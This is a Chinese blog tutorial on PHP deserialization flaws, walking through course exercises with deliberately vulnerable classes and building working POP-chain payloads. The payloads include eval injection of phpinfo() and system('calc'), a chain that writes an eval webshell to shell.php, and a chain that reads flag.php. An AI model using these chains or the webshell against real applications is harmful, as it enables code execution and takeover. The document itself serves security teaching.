好好学习,天天向上
反序列化漏洞,是比较难搞定的漏洞,因为想要玩转反序列化漏洞,就要懂编程懂语言懂逻辑,抛开了开发,反序列化如纸上谈兵,看完了B站蜗牛学苑的php反序列化课程,深有感触,一定要总结一下,想要拿下反序列化,一定要有两点:1,面向属性编程的思维,2.一步一步跟踪代码逻辑的耐心
牢记这两句话,反序列化没有那么可怕
序列化,将对象转换成特定格式字符串保存
反序列化,将特定格式字符串转成对象使用
既然不能脱离开发,先来两行php代码(后面的代码请各位自行把php开头结尾标签加上)用phpstudy发布
虽然只有短短两行代码,已经足以说明问题了$string_object是一个变量也就是对象,有人会有疑问:这不是字符串吗,当然是字符串,但是字符串也是String类的一个对象啊,所以对这个对象进行序列化
$string_object = "string";
echo serialize($string_object);
s:6:"string";
s代表着是个字符串,值有6位,string
序列化后,这个对象变成s:6:"string";保存起来了
方便理解我们再换一个整型,i代表int型,不过好像没有长度,直接就是值
$int_object = 10086;
echo serialize($int_object);
再换个数组
$array_object = array("first", "second", "third");
echo serialize($array_object);
a:3:{i:0;s:5:"first";i:1;s:6:"second";i:2;s:5:"third";}
a代表是数组,3代表有3个元素,花括号里面的i就是下面,下表为0的s就是字符串,有5位,是first,以此类推
那么既然有序列化,也就有反序列化
$array_object_string = 'a:3:{i:0;s:5:"first";i:1;s:6:"second";i:2;s:5:"third";}';
$array_object = unserialize($array_object_string);
var_dump($array_object);
先把php反序列化会用到的函数,死记硬背,牢牢记在心里
方法名 | 作用 |
---|---|
__construct | 构造函数,在创建对象时候初始化对象,一般用于对变量赋初值 |
__destruct | 析构函数,和构造函数相反,在对象不再被使用时(将所有该对象的引用设为null)或者程序退出时自动调用 |
__toString | 当一个对象被当作一个字符串被调用,把类当作字符串使用时触发,返回值需要为字符串,例如echo打印出对象就会调用此方法 |
__wakeup() | 使用unserialize时触发,反序列化恢复对象之前调用该方法 |
__sleep() | 使用serialize时触发 ,在对象被序列化前自动调用,该函数需要返回以类成员变量名作为元素的数组(该数组里的元素会影响类成员变量是否被序列化。只有出现在该数组元素里的类成员变量才会被序列化) |
__destruct() | 对象被销毁时触发 |
__call() | 在对象中调用不可访问的方法时触发,即当调用对象中不存在的方法会自动调用该方法 |
__callStatic() | 在静态上下文中调用不可访问的方法时触发 |
__get() | 读取不可访问的属性的值时会被调用(不可访问包括私有属性,或者没有初始化的属性) |
__set() | 在给不可访问属性赋值时,即在调用私有属性的时候会自动执行 |
__isset() | 当对不可访问属性调用isset()或empty()时触发 |
__unset() | 当对不可访问属性调用unset()时触发 |
__invoke() | 当脚本尝试将对象调用为函数时触发 |
记住这张表,后面会经常使用
接下来看着下面的代码思考,当执行$car = new Car();的时候,会有哪些输出?
答案是正在初始化和正在释放资源,为什么呢?创建了一个对象就会执行这个类的构造函数,所以会输出正在初始化,接着很快的,我们没有使用这个对象car ,所以php就认为car 已经用完了,改回收了,就会执行析构函数,输出正在释放资源
class Car {var $name = ''; var $price = '';// 魔术方法:__construct,指类在实例化的时候会,自动调用function __construct($name='劳斯莱斯', $price='350达不溜') {$this->name = $name;$this->price = $price;echo "正在初始化. <br/>";}// 魔术方法:__destruct,代码运行结束时,类的实例从内存中释放时,自动调用function __destruct() {echo "正在释放资源. <br/>";}// 魔术方法:__sleep,在类实例被序列化时,自动调用function __sleep() {echo "正在序列化. <br/>";// 返回一个由序列化类的属性名构成的数组return array('name', 'price');}// 魔术方法:__sleep,在字符串被反序列化成对象时,自动调用// 反序列化时不会自动调用__construct,同时,调用完__wakeup后,仍然会调用__destructfunction __wakeup() {echo "正在被反序列化. <br/>";}
}$car = new Car();
如果我再加一句,会有怎样的输出呢?
在上面的基础上,继续输出正在序列化,并且输出序列化后的结果,可以这样理解,对象要序列化,说明暂时不用呗,那就准备睡觉
class Car {var $name = ''; var $price = '';// 魔术方法:__construct,指类在实例化的时候会,自动调用function __construct($name='劳斯莱斯', $price='1/4爽达不溜') {$this->name = $name;$this->price = $price;echo "正在初始化. <br/>";}// 魔术方法:__destruct,代码运行结束时,类的实例从内存中释放时,自动调用function __destruct() {echo "正在释放资源. <br/>";}// 魔术方法:__sleep,在类实例被序列化时,自动调用function __sleep() {echo "正在序列化. <br/>";// 返回一个由序列化类的属性名构成的数组return array('name', 'price');}// 魔术方法:__sleep,在字符串被反序列化成对象时,自动调用// 反序列化时不会自动调用__construct,同时,调用完__wakeup后,仍然会调用__destructfunction __wakeup() {echo "正在被反序列化. <br/>";}
}$car = new Car();
echo serialize($car) . "<br>"
如果是反序列化呢,会输出什么呢?
1.反序列化,被保存成字符串的对象要醒来了,要将其从字符串转为对象,所以是正在被反序列化,对象用完后自然要调用析构函数,也就会输出正在释放资源,注意,这里没有输出正在初始化,所以记住,构造函数只有在new时候会调用,我们即使通过反序列化弄出来一个对象,也不会调用构造函数
2.通过修改序列化的字符串,导致这个对象在反序列化后,属性被修改了,这就是我们后面会经常提到的面向属性编程
class Car {var $name = ''; var $price = '';// 魔术方法:__construct,指类在实例化的时候会,自动调用function __construct($name='劳斯莱斯', $price='1/4爽达不溜') {$this->name = $name;$this->price = $price;echo "正在初始化. <br/>";}// 魔术方法:__destruct,代码运行结束时,类的实例从内存中释放时,自动调用function __destruct() {echo "正在释放资源. <br/>";}// 魔术方法:__sleep,在类实例被序列化时,自动调用function __sleep() {echo "正在序列化. <br/>";// 返回一个由序列化类的属性名构成的数组return array('name', 'price');}// 魔术方法:__sleep,在字符串被反序列化成对象时,自动调用// 反序列化时不会自动调用__construct,同时,调用完__wakeup后,仍然会调用__destructfunction __wakeup() {echo "正在被反序列化. <br/>";}
}// $car = new Car();
// echo serialize($car) . "<br>"
$car_string = 'O:3:"Car":2:{s:4:"name";s:12:"栾博基尼";s:5:"price";s:7:"0.01爽";}';
$car = unserialize($car_string);
var_dump($car);
是否可以找到点感觉呢?
新手村之牛刀小试-1
<?php// 存在漏洞的PHP代码
class USDemo {var $code;function __destruct() {@eval($this->code);}
}
$test = unserialize($_GET['code']);?>
不着急做,先来分析一下代码,其实反序列化分析代码,可以从起点到终点,也可以从终点到起点,两种方式都要会,我比较倾向于从终点到起点,终点很显然是@eval($this->code),@eval()可以查一下,这个可以执行php的内置函数,比如phpinfo();,如果$this->code的值是phpinfo(),就会执行输出php的信息,要想这行这里,就要找到谁会调用__destruct(),反序列化的时候会调用__wakeup()和__destruct(),那就简单了,如果unserialize($_GET['code']);从get请求中接收参数,将参数的值反序列化,结案$_GET['code']这里从get请求要接收一个序列化后的内容,然后把USDemo的$code属性注入phpinfo
创建另一个php,开始构造payload,生成序列化数据,php标签自行添加
class USDemo {var $code;
}$usdemo = new USDemo();
$usdemo->code = "phpinfo();";
echo serialize($usdemo);
生成一段序列化的字符串
O:6:"USDemo":1:{s:4:"code";s:10:"phpinfo();";}
作为参数,传入
跟踪代码,可知,第八行已被改为执行phpinfo();
新手村之牛刀小试-2
class Test {public $phone = '';var $ip = '';public function __wakeup () {$this->getPhone();}public function __destruct() {echo $this->getIp();}public function getPhone() {// echo $this->phone;@eval($this->phone);}public function getIp() {echo $this->ip;}
}$source = $_POST['source'];
$p2 = unserialize($source);
从终点开始
终点是80行的eval,eval的参数是phone,phone是这个类的属性,所以我们要注入这个属性,eval在getPhone()调用,getPhone()在wakeup调用,所以没问题了
构造payload,复制Test类,只改属性的值,把phone改为phpinfo();
这里改属性方法太多了,可以new完复制,可以在定义的时候写死,或者价格构造方法,都可以,只要改掉这个值即可
class Test {public $phone = 'system("calc");';
}
echo serialize(new Test());
生成
O:4:"Test":1:{s:5:"phone";s:15:"system("calc");";}
通过POST发送
过了新手村,我们来几道硬菜
class Demo {private $a;function __construct() {$this->a = new Test();}function __destruct() {$this->a->hello();}
}class Test {function hello() {echo "Hello World.";}
}class Vul {protected $data;function hello() {@eval($this->data);}function __call($name, $args) {$this->hi();}}unserialize($_GET['code']);
这道题有Test事情吗?没有的,我们调用链根本不用到Test,所以面向属性编程需要三步走
1.反序列化的对象一定要是类Demo的
2.把Demo类的$a赋值为类Vul的对象
3.把类Vul的$data赋值为phpinfo();
这里注意,和之前不太一样的是牵扯到了多个类,所以要用url编码就不能直接输出序列化后的了,先序列化,再url编码,否则就会报错
class Vul {protected $data = "phpinfo();";
}class Demo {private $a;function __construct() {$this->a = new Vul();}
}echo serialize(new Demo()) . "<br>";
echo urlencode(serialize(new Demo()));
class Template {var $cacheFile = ";var $template = "<div>Welcome back %s</div>";function __construct($data = null) {$data = $this->loadData($data);$this->render($data);}function loadData($data) {return unserialize($data);return [];}function createCache($file = null, $tpl = null) {$file = $file ?: $this->cacheFile;$tpl = $tpl ?: $this->template;file_put_contents($file, $tpl);}function render($data) {echo sprintf($this->template, htmlspecialchars($data['name']));}function __destruct() {$this->createCache();}
}
new Template($_COOKIE['data']);
这次我们从入口开始跟踪代码
31行,创建Template的对象,传入一个参数,这个参数是从cookie中传入,那简单我们到时候直接bp改cookie的参数就好了
7行,既然是创建对象,自然会走到__construct()方法,这一行$data就是我们通过cookie传入的参数
8行,先调用loadData()方法,把上一行的$data传入,再将这个方法执行的结果赋值给$data,有点绕,不过逻辑并不复杂,我们需要先进入loadData()
12-13行,直接在13行对$data反序列化,也就是我们通过cookie传入的参数反序列化,然后直接return了,也就是说,14行的return []永远不会执行,是迷惑
8行,执行完后,将反序列化后的对象返回给这个$data,这里反序列化谁呢?其实答案很明显,整个题里就一个类Template,显然反序列化针对的依旧是这个类,这里要注意,首先是31行的new进行了一次类的实例化,在这层里面,又进行了反序列化,反序列化也是这个类,那么此时我们就不用再跟进第一层new的实例化过程了,因为我们无法注入参数,没有意义,所以我们需要考虑从13行反序列化的链
9行,不要被迷惑了,上面已经说了,第一层的new帮我们找到13行的unserialize($data)后,已经没用用处了,直接从第二层的反序列化后的链跟踪就行了,因为反序列化后,一定会执行__destruct(),__destruct()里调用了createCache(),我们就要从17行继续了
17行,$file和$tpl默认值都是空
18-19行,由于17行默认值都是空,所以三元运算的赋值结果是$file = $this->cacheFile,$tpl = $this->template
20行,将$tpl作为文件内容写入$file作为的文件名的文件中,这下就豁然开朗了,这就是让写webshell嘛,那就是说$this->cacheFile和$this->template也就是本类的两个属性,在构造反序列化poc的时候要修改成webshell运行完20行,会再回到第一层,第一层是啥我们不在乎,想跟踪的可以打断点,但是注意一点,再回到第一层的时候,我们之前跟踪到了9行其实就没必要跟踪下去了,但是这个题有意思的就在这里,从9行定位到了23行,,在24行,出现了$data['name'],如果$data不是一个数组的话,$data['name']就会报错,导致程序中止,由于这里的执行是在反序列化的__destruct()前,所以还需要确保$data是一个数组,也就是说8行$data赋值为数组,也就是说12行的loadData(),return的是一个数组,那么在构造poc的时候要先变成数组,再序列化,这一点我会先演示错误的示范
先执行这个
class Template {var $cacheFile = "./shell.php";var $template = '<?php @eval($_POST["code"]); ?>';
}$template = new Template();
echo urlencode(serialize($template));
使用firefox修改cookie,报错说必须是array
所以这里我们必须把对象放入数组后再序列化
class Template {var $cacheFile = "./shell.php";var $template = '<?php @eval($_POST["code"]); ?>';
}$template = new Template();
$array = array($template);
echo urlencode(serialize($array));
写入后,自然就可以访问这个php了,这个url转码把空格转成+,不过我们这里手动把+改为%20
这道题里面出现了N次 d a t a ,所以要弄清这个 data,所以要弄清这个 data,所以要弄清这个data什么时候是形参,什么时候是实参,什么时候是方法里面的局部变量
class Tiger{public $string;protected $var;public function __toString(){return $this->string;}public function boss($value){@eval($value);}public function __invoke(){$this->boss($this->var);}
}class Lion{public $tail;public function __construct(){$this->tail = array();}public function __get($value){$function = $this->tail;return $function();}
}class Monkey{public $head;public $hand;public function __construct($here="Zoo"){$this->head = $here;echo "Welcome to ".$this->head."<br>";}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->head)) {echo "hacker";$this->source = "index.php";}}
}class Elephant{public $nose;public $nice;public function __construct($nice="nice"){$this->nice = $nice;echo $nice;}public function __toString(){return $this->nice->nose;}
}if(isset($_GET['zoo'])){@unserialize($_GET['zoo']);
}
else{$a = new Monkey;echo "Hello!";
}
代码比较长,我们分成两段分析,还是先找终点,明显终点在10行的eval
10行,如果想要执行eval,第一,value得是类属性可控、第二,要找到谁调用第9行boss()
12行,会在13行调用boss()并且传入$var,$var是本类属性可控,之前的疑问解决了,新疑问来了,哪里会调用这一行的__invoke()
__invoke:将对象调用为函数时触发,那也就是说如果谁将Tiger的对象当成函数用就会触发这里,找来找去24行有点像
23行,将本类的tail赋值给$function
24行,将变量后面加了个看似像方法的(),那也就是说如果$this->tail是Tiger的一个对象,在这里就会当成方法来使用,这种方式没见过,有待商榷,这是我们需要验证的,称之为【猜想一】吧,那么新的问题又来了,哪里会调用这个22行的__get()呢
__get:读取不可访问的属性的值时会被调用(不可访问包括私有属性,或者没有初始化的属性),也就是说要找到另外一个地方调用了类Lion中不存在的属性值会调用这里,找来找去也只有下图
上书说道,找属性调用,51行最像属性调用了,连续两个->
51行,$this->nice,这个明显是找到了本类里面的$nice,再往下找nose的话,$nice本身并没有nose,可以说跟nose没有半毛钱关系,但是如果,$this->nice或者说是$nice被注入成了Lion的对象,Lion类没有nose属性,那不就调用上面说的__get()了吗,但是能不能这样用,是另外一回事,假设能这样用并称之为【猜想二】
上面的问题解决了,新的问题又双叒叕来了,怎么调用51行,那得找调用50行的地方,打眼一看没有直接调用__toString()的
__toString:当一个对象被当作一个字符串被调用,把类当作字符串使用时触发,返回值需要为字符串,例如echo打印出对象就会调用此方法
那当下就是要找把Elephant的对象能当成字符串用的,找来找去在36行的正则匹配方法里preg_match(),这个方法都知道是正则的串匹配,既然是串匹配,问题就好解决了
36行,$this->head正常情况下应该是个源串,但是如果$this->是Elephant的对象不就把他当成字符串用了,不就调用toString了,前提是可以这样用,我们称之为【猜想三】,万事俱备,只差能调用Monkey的地方了,看到56行,那我们最后构造poc就构造Monkey对象的序列化串就好了啊
int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
搜索 subject 与 pattern 给定的正则表达式的一个匹配。参数说明:$pattern: 要搜索的模式,字符串形式。
$subject: 输入字符串。
$matches: 如果提供了参数matches,它将被填充为搜索结果。 $matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推。
$flags:flags 可以被设置为以下标记值:
PREG_OFFSET_CAPTURE: 如果传递了这个标记,对于每一个出现的匹配返回时会附加字符串偏移量(相对于目标字符串的)。 注意:这会改变填充到matches参数的数组,使其每个元素成为一个由 第0个元素是匹配到的字符串,第1个元素是该匹配字符串 在目标字符串subject中的偏移量。
offset: 通常,搜索从目标字符串的开始位置开始。可选参数 offset 用于 指定从目标字符串的某个未知开始搜索(单位是字节)。返回值
返回 pattern 的匹配次数。 它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后 将会停止搜索。preg_match_all() 不同于此,它会一直搜索subject 直到到达结尾。 如果发生错误preg_match()返回 FALSE。
理论上是可以的,前提是留给我们的三个猜想都需要达成,其实在研究反序列化的时候,会经常遇见这种类似“猜想”的情况,我们要做的就是遇见了,立马右键新建一个test.php把这个“猜想”进行验证,我这里是知道答案,而且不中断代码讲解,所以才留到最后统一验证,一定要边思考边验证边跟踪
【猜想一】
A类的对象a,将对象a使用a()的方式调用,会调用A类的__invoke()方法
【猜想二】
B类有属性attribute,B类的对象b调用c属性,会调用B类的__get()方法
【猜想三】
C类的对象c作为preg_match()的前两个string类型的参数时,会调用C类的__toString()方法
三个猜想都验证完毕,直接上poc了
class Tiger{protected $var = "phpinfo();";
}class Lion{public $tail;public function __construct(){$this->tail = new Tiger();}
}class Elephant{public $nice;public function __construct(){$this->nice = new Lion();}
}class Monkey{public $head;public function __construct(){$this->head = new Elephant();}
}echo serialize(new Monkey());
轻松一下,来做个送分题,例5和例6都做出来了,这道题简直就是白给
class start_gg {public $mod1;public $mod2;public function __destruct() {$this->mod1->test1();}
}
class Call {public $mod1;public $mod2;public function test1() {$this->mod1->test2();}
}
class funct {public $mod1;public $mod2;public function __call($test2,$arr) {$s1 = $this->mod1;$s1();}
}
class func {public $mod1;public $mod2;public function __invoke() {$this->mod2 = "字符串拼接".$this->mod1;}
}
class string1 {public $str1;public $str2;public function __toString() {$this->str1->get_flag();return "1";}
}
class GetFlag {public function get_flag() {echo "flag:"."59DB9139E685F7D6A4A8784F9221066F";}
}
$a = $_GET['string'];
unserialize($a);
过于简单了
class start_gg {public $mod1;public function __construct() {$this->mod1 = new Call();}
}
class Call {public $mod1;public function __construct() {$this->mod1 = new funct();}
}
class funct {public $mod1;public function __construct() {$this->mod1 = new func();}
}
class func {public $mod1;public function __construct() {$this->mod1 = new string1();}
}
class string1 {public $str1;public function __construct() {$this->str1 = new GetFlag();}
}
class GetFlag {}echo urlencode(serialize(new start_gg()));
class Read {public $var;public function file_get($value) {$text = base64_encode(file_get_contents($value));return $text;}public function __invoke(){$content = $this->file_get($this->var);echo $content;}
}
class Show {public $source;public $str;public function __construct($file='index.php') {$this->source = $file;echo $this->source.'Welcome'."<br>";}public function __toString() {$this->str['str']->source;return "";}public function _show() {if(preg_match('/gopher|http|ftp|https|dict|..|flag|file/i',$this->source)) {die('hacker');} else {highlight_file($this->source); }}public function __wakeup() {if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) {echo "hacker";$this->source = "index.php";}}
}
class Test {public $p;public function __construct() {$this->p = array();}public function __get($key) {$function = $this->p;return $function();}
}
if(isset($_GET['hello'])) {unserialize($_GET['hello']);
}
else {$show = new Show('index.php');$show->_show();
}
这道题目标是读取flag.php文件,这个文件内容如下
E10ADC3949BA59ABBE56E057F20F883E
9行,显然终点在Read类的9行方法体内,会在10行调用5行的方法读取文件,在11行输出,那么$var就应该是文件名,找调用invoke的地方,找到了熟悉的46行
46行,又把对象当成方法用,那就是$p就应该是Read的对象了,哪里调用这个get呢,找到了21行的toString,那么$this->str['str']应该是Test的对象,哪里会调用toString,注意,这里是一个坑点,我就在这翻车了,打眼一看32行的wakeup不就直接调用了preg_match(),那么$this->source应该是new Show()
按照上面的分析,poc应该这么写
class Read {public $var;public function __construct() {$this->var = "./flag.php";}
}
class Show {public $source;public $str;public function __construct() {$this->source = new Show();$this->str = array("str"=>new Test());}
}
class Test {public $p;public function __construct() {$this->p = new Read();}
}urlencode(serialize(new Show()));
但是当我执行的时候,出现无线递归,那是因为Show类的构造方法里,一直在new Show(),那么不就无线循环了
所以poc里还不能把source进行赋值,需要先new好,再给source传对象
class Read {public $var;public function __construct() {$this->var = "./flag.php";}
}
class Show {public $source;public $str;public function __construct() {$this->str = array("str"=>new Test());}
}
class Test {public $p;public function __construct() {$this->p = new Read();}
}$show = new Show();
$show->source = $show;echo urlencode(serialize($show));
所有用到的代码如下
<?php// 存在漏洞的PHP代码
/*
class USDemo {var $code;function __destruct() {@eval($this->code);}
}
$test = unserialize($_GET['code']);
*//*
class Test {public $phone = '';var $ip = '';public function __wakeup () {$this->getPhone();}public function __destruct() {echo $this->getIp();}public function getPhone() {// echo $this->phone;@eval($this->phone);}public function getIp() {echo $this->ip;}
}$source = $_POST['source'];
$p2 = unserialize($source);
*//*
class Demo {private $a;function __construct() {$this->a = new Test();}function __destruct() {$this->a->hello();}
}class Test {function hello() {echo "Hello World.";}
}class Vul {protected $data;function hello() {@eval($this->data);}function __call($name, $args) {$this->hi();}}unserialize($_GET['code']);
*//*
class Template {var $cacheFile = ";var $template = "<div>Welcome back %s</div>";function __construct($data = null) {$data = $this->loadData($data);$this->render($data);}function loadData($data) {return unserialize($data);return [];}function createCache($file = null, $tpl = null) {$file = $file ?: $this->cacheFile;$tpl = $tpl ?: $this->template;file_put_contents($file, $tpl);}function render($data) {echo sprintf($this->template, htmlspecialchars($data['name']));}function __destruct() {$this->createCache();}
}
new Template($_COOKIE['data']);
*//*
class Tiger{public $string;protected $var;public function __toString(){return $this->string;}public function boss($value){@eval($value);}public function __invoke(){$this->boss($this->var);}
}class Lion{public $tail;public function __construct(){$this->tail = array();}public function __get($value){$function = $this->tail;return $function();}
}class Monkey{public $head;public $hand;public function __construct($here="Zoo"){$this->head = $here;echo "Welcome to ".$this->head."<br>";}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->head)) {echo "hacker";$this->source = "index.php";}}
}class Elephant{public $nose;public $nice;public function __construct($nice="nice"){$this->nice = $nice;echo $nice;}public function __toString(){return $this->nice->nose;}
}if(isset($_GET['zoo'])){@unserialize($_GET['zoo']);
}
else{$a = new Monkey;echo "Hello!";
}*//*
class start_gg {public $mod1;public $mod2;public function __destruct() {$this->mod1->test1();}
}
class Call {public $mod1;public $mod2;public function test1() {$this->mod1->test2();}
}
class funct {public $mod1;public $mod2;public function __call($test2,$arr) {$s1 = $this->mod1;$s1();}
}
class func {public $mod1;public $mod2;public function __invoke() {$this->mod2 = "字符串拼接".$this->mod1;}
}
class string1 {public $str1;public $str2;public function __toString() {$this->str1->get_flag();return "1";}
}
class GetFlag {public function get_flag() {echo "flag:"."59DB9139E685F7D6A4A8784F9221066F";}
}
$a = $_GET['string'];
unserialize($a);*/class Read {public $var;public function file_get($value) {$text = base64_encode(file_get_contents($value));return $text;}public function __invoke(){$content = $this->file_get($this->var);echo $content;}
}
class Show {public $source;public $str;public function __construct($file='index.php') {$this->source = $file;echo $this->source.'Welcome'."<br>";}public function __toString() {$this->str['str']->source;return "";}public function _show() {if(preg_match('/gopher|http|ftp|https|dict|..|flag|file/i',$this->source)) {die('hacker');} else {highlight_file($this->source); }}public function __wakeup() {if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) {echo "hacker";$this->source = "index.php";}}
}
class Test {public $p;public function __construct() {$this->p = array();}public function __get($key) {$function = $this->p;return $function();}
}
if(isset($_GET['hello'])) {unserialize($_GET['hello']);
}
else {$show = new Show('index.php');$show->_show();
}?>
<?php/*
class USDemo {var $code;
}$usdemo = new USDemo();
$usdemo->code = "phpinfo();";
echo serialize($usdemo);
*///basic
/*
class Test {public $phone = 'system("calc");';
}
// echo urlencode(serialize(new Test()));
echo serialize(new Test());
*///ustest-1
/*
class Vul {protected $data = "phpinfo();";
}class Demo {private $a;function __construct() {$this->a = new Vul();}
}echo serialize(new Demo()) . "<br>";
echo urlencode(serialize(new Demo()));
*///ustest-2
/*
class Template {var $cacheFile = "./shell.php";var $template = '<?php @eval($_POST["code"]); ?>';
}$template = new Template();
$array = array($template);
echo urlencode(serialize($array));
*///untest-3
/*
class Tiger{protected $var = "phpinfo();";
}class Lion{public $tail;public function __construct(){$this->tail = new Tiger();}
}class Elephant{public $nice;public function __construct(){$this->nice = new Lion();}
}class Monkey{public $head;public function __construct(){$this->head = new Elephant();}
}echo urlencode(serialize(new Monkey()));
*///untest-4/*
class start_gg {public $mod1;public function __construct() {$this->mod1 = new Call();}
}
class Call {public $mod1;public function __construct() {$this->mod1 = new funct();}
}
class funct {public $mod1;public function __construct() {$this->mod1 = new func();}
}
class func {public $mod1;public function __construct() {$this->mod1 = new string1();}
}
class string1 {public $str1;public function __construct() {$this->str1 = new GetFlag();}
}
class GetFlag {}echo urlencode(serialize(new start_gg()));
*/class Read {public $var;public function __construct() {$this->var = "./flag.php";}
}
class Show {public $source;public $str;public function __construct() {$this->str = array("str"=>new Test());}
}
class Test {public $p;public function __construct() {$this->p = new Read();}
}$show = new Show();
$show->source = $show;echo urlencode(serialize($show));?>
本文发布于:2024-01-27 22:23:57,感谢您对本站的认可!
本文链接:https://www.4u4v.net/it/17063654382995.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
留言与评论(共有 0 条评论) |